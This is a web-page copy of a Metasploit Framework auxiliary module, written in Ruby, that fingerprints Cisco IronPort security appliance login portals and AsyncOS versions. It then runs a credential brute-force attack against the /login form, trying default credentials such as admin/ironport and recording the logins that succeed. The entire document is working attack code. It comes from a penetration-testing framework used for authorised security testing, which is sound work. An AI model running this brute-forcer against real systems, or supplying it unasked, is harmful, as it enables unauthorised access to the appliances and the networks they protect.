CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/http/cisco_ironport_enum.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
7
8
class MetasploitModule < Msf::Auxiliary
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Auxiliary::Report
11
include Msf::Auxiliary::AuthBrute
12
include Msf::Auxiliary::Scanner
13
14
def initialize(info={})
15
super(update_info(info,
16
'Name' => 'Cisco Ironport Bruteforce Login Utility',
17
'Description' => %{
18
This module scans for Cisco Ironport SMA, WSA and ESA web login portals, finds AsyncOS
19
versions, and performs login brute force to identify valid credentials.
20
},
21
'Author' =>
22
[
23
'Karn Ganeshen <KarnGaneshen[at]gmail.com>',
24
],
25
'License' => MSF_LICENSE,
26
'DefaultOptions' => { 'SSL' => true }
27
))
28
29
register_options(
30
[
31
Opt::RPORT(443),
32
OptString.new('USERNAME', [true, "A specific username to authenticate as", "admin"]),
33
OptString.new('PASSWORD', [true, "A specific password to authenticate with", "ironport"])
34
])
35
end
36
37
def run_host(ip)
38
unless check_conn?
39
print_error("#{rhost}:#{rport} - Connection failed, Aborting...")
40
return
41
end
42
43
unless is_app_ironport?
44
print_error("#{rhost}:#{rport} - Application does not appear to be Cisco Ironport. Module will not continue.")
45
return
46
end
47
48
print_status("#{rhost}:#{rport} - Starting login brute force...")
49
each_user_pass do |user, pass|
50
do_login(user, pass)
51
end
52
end
53
54
def check_conn?
55
begin
56
res = send_request_cgi(
57
{
58
'uri' => '/',
59
'method' => 'GET'
60
})
61
if res
62
print_good("#{rhost}:#{rport} - Server is responsive...")
63
return true
64
end
65
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
66
end
67
false
68
end
69
70
#
71
# What's the point of running this module if the app actually isn't Cisco IronPort
72
#
73
74
def is_app_ironport?
75
res = send_request_cgi(
76
{
77
'uri' => '/',
78
'method' => 'GET'
79
})
80
81
if res && res.get_cookies
82
83
cookie = res.get_cookies
84
85
res = send_request_cgi(
86
{
87
'uri' => "/help/wwhelp/wwhimpl/common/html/default.htm",
88
'method' => 'GET',
89
'cookie' => cookie
90
})
91
92
if (res and res.code == 200 and res.body.include?('Cisco IronPort AsyncOS'))
93
version_key = /Cisco IronPort AsyncOS (.+? )/
94
version = res.body.scan(version_key).flatten[0].gsub('"','')
95
product_key = /for (.*)</
96
product = res.body.scan(product_key).flatten[0]
97
98
if (product == 'Security Management Appliances')
99
p_name = 'Cisco IronPort Security Management Appliance (SMA)'
100
print_good("#{rhost}:#{rport} - Running Cisco IronPort #{product} (SMA) - AsyncOS v#{version}")
101
elsif ( product == 'Cisco IronPort Web Security Appliances' )
102
p_name = 'Cisco IronPort Web Security Appliance (WSA)'
103
print_good("#{rhost}:#{rport} - Running #{product} (WSA) - AsyncOS v#{version}")
104
elsif ( product == 'Cisco IronPort Appliances' )
105
p_name = 'Cisco IronPort Email Security Appliance (ESA)'
106
print_good("#{rhost}:#{rport} - Running #{product} (ESA) - AsyncOS v#{version}")
107
end
108
109
return true
110
else
111
return false
112
end
113
else
114
return false
115
end
116
end
117
118
def service_details
119
super.merge({service_name: 'Cisco IronPort Appliance'})
120
end
121
122
#
123
# Brute-force the login page
124
#
125
126
def do_login(user, pass)
127
vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}")
128
begin
129
res = send_request_cgi(
130
{
131
'uri' => '/login',
132
'method' => 'POST',
133
'vars_post' =>
134
{
135
'action' => 'Login',
136
'referrer' => '',
137
'screen' => 'login',
138
'username' => user,
139
'password' => pass
140
}
141
})
142
143
if res and res.get_cookies.include?('authenticated=')
144
print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
145
146
store_valid_credential(user: user, private: pass, proof: res.get_cookies.inspect)
147
return :next_user
148
149
else
150
vprint_error("#{rhost}:#{rport} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
151
end
152
153
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
154
print_error("#{rhost}:#{rport} - HTTP Connection Failed, Aborting")
155
return :abort
156
end
157
end
158
end
159
160